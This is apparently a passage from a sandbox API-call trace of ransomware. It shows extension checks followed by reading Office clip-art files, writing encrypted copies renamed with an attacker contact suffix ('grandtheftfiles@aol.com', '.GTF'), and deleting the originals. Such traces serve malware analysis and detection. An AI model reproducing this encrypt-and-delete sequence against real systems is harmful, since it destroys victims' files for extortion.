	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString=".zip") returned 4
	[0085.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.360] lstrlenW (lpString=".rar") returned 4
	[0085.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString=".bz2") returned 4
	[0085.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString=".7z") returned 3
	[0085.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString=".dbf") returned 4
	[0085.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString=".1cd") returned 4
	[0085.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0085.360] lstrlenW (lpString=".jpg") returned 4
	[0085.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.361] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.361] lstrlenW (lpString="DD00414_.WMF") returned 12
	[0085.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.361] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=42908) returned 1
	[0085.361] CloseHandle (hObject=0x368) returned 1
	[0085.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220
	[0085.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.361] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.362] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.362] GetLastError () returned 0x0
	[0085.362] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xa79c, lpOverlapped=0x0) returned 1
	[0085.696] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xa7a0, lpOverlapped=0x0) returned 1
	[0085.697] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.697] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.698] SetEndOfFile (hFile=0x380) returned 1
	[0085.698] CloseHandle (hObject=0x380) returned 1
	[0085.699] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.699] SetEndOfFile (hFile=0x368) returned 1
	[0085.700] CloseHandle (hObject=0x368) returned 1
	[0085.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1
	[0085.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.701] lstrlenW (lpString=".doc") returned 4
	[0085.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString=".docx") returned 5
	[0085.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.701] lstrlenW (lpString=".pdf") returned 4
	[0085.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString=".xls") returned 4
	[0085.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.701] lstrlenW (lpString=".xlsx") returned 5
	[0085.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.701] lstrlenW (lpString=".ppt") returned 4
	[0085.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.701] lstrlenW (lpString=".zip") returned 4
	[0085.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.701] lstrlenW (lpString=".rar") returned 4
	[0085.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString=".bz2") returned 4
	[0085.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString=".7z") returned 3
	[0085.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.701] lstrlenW (lpString=".dbf") returned 4
	[0085.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.701] lstrlenW (lpString=".1cd") returned 4
	[0085.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".jpg") returned 4
	[0085.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".doc") returned 4
	[0085.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString=".docx") returned 5
	[0085.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.702] lstrlenW (lpString=".pdf") returned 4
	[0085.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString=".xls") returned 4
	[0085.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.702] lstrlenW (lpString=".xlsx") returned 5
	[0085.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.702] lstrlenW (lpString=".ppt") returned 4
	[0085.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".zip") returned 4
	[0085.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.702] lstrlenW (lpString=".rar") returned 4
	[0085.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString=".bz2") returned 4
	[0085.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString=".7z") returned 3
	[0085.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".dbf") returned 4
	[0085.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".1cd") returned 4
	[0085.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0085.702] lstrlenW (lpString=".jpg") returned 4
	[0085.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.703] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.703] lstrlenW (lpString="DD01138_.WMF") returned 12
	[0085.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.703] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3692) returned 1
	[0085.703] CloseHandle (hObject=0x368) returned 1
	[0085.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220
	[0085.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.703] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.703] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.704] GetLastError () returned 0x0
	[0085.704] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xe6c, lpOverlapped=0x0) returned 1
	[0085.705] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0085.706] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.706] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.706] SetEndOfFile (hFile=0x380) returned 1
	[0085.706] CloseHandle (hObject=0x380) returned 1
	[0085.707] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.707] SetEndOfFile (hFile=0x368) returned 1
	[0085.708] CloseHandle (hObject=0x368) returned 1
	[0085.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1
	[0085.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.708] lstrlenW (lpString=".doc") returned 4
	[0085.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.708] lstrlenW (lpString=".docx") returned 5
	[0085.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.709] lstrlenW (lpString=".pdf") returned 4
	[0085.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString=".xls") returned 4
	[0085.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.709] lstrlenW (lpString=".xlsx") returned 5
	[0085.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.709] lstrlenW (lpString=".ppt") returned 4
	[0085.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString=".zip") returned 4
	[0085.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.709] lstrlenW (lpString=".rar") returned 4
	[0085.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString=".bz2") returned 4
	[0085.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString=".7z") returned 3
	[0085.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString=".dbf") returned 4
	[0085.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString=".1cd") returned 4
	[0085.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString=".jpg") returned 4
	[0085.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.709] lstrlenW (lpString=".doc") returned 4
	[0085.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.709] lstrlenW (lpString=".docx") returned 5
	[0085.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.709] lstrlenW (lpString=".pdf") returned 4
	[0085.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString=".xls") returned 4
	[0085.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.710] lstrlenW (lpString=".xlsx") returned 5
	[0085.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.710] lstrlenW (lpString=".ppt") returned 4
	[0085.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.710] lstrlenW (lpString=".zip") returned 4
	[0085.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.710] lstrlenW (lpString=".rar") returned 4
	[0085.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString=".bz2") returned 4
	[0085.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString=".7z") returned 3
	[0085.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.710] lstrlenW (lpString=".dbf") returned 4
	[0085.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.710] lstrlenW (lpString=".1cd") returned 4
	[0085.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0085.710] lstrlenW (lpString=".jpg") returned 4
	[0085.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.710] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.711] lstrlenW (lpString="DD01139_.WMF") returned 12
	[0085.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.711] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3632) returned 1
	[0085.711] CloseHandle (hObject=0x368) returned 1
	[0085.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220
	[0085.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.711] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.711] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.712] GetLastError () returned 0x0
	[0085.712] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xe30, lpOverlapped=0x0) returned 1
	[0085.713] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0085.714] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.714] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.714] SetEndOfFile (hFile=0x380) returned 1
	[0085.715] CloseHandle (hObject=0x380) returned 1
	[0085.715] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.715] SetEndOfFile (hFile=0x368) returned 1
	[0085.716] CloseHandle (hObject=0x368) returned 1
	[0085.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".doc") returned 4
	[0085.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString=".docx") returned 5
	[0085.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.717] lstrlenW (lpString=".pdf") returned 4
	[0085.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString=".xls") returned 4
	[0085.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.717] lstrlenW (lpString=".xlsx") returned 5
	[0085.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.717] lstrlenW (lpString=".ppt") returned 4
	[0085.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".zip") returned 4
	[0085.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.717] lstrlenW (lpString=".rar") returned 4
	[0085.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString=".bz2") returned 4
	[0085.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString=".7z") returned 3
	[0085.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".dbf") returned 4
	[0085.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".1cd") returned 4
	[0085.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".jpg") returned 4
	[0085.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.717] lstrlenW (lpString=".doc") returned 4
	[0085.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString=".docx") returned 5
	[0085.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.718] lstrlenW (lpString=".pdf") returned 4
	[0085.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString=".xls") returned 4
	[0085.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.718] lstrlenW (lpString=".xlsx") returned 5
	[0085.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.718] lstrlenW (lpString=".ppt") returned 4
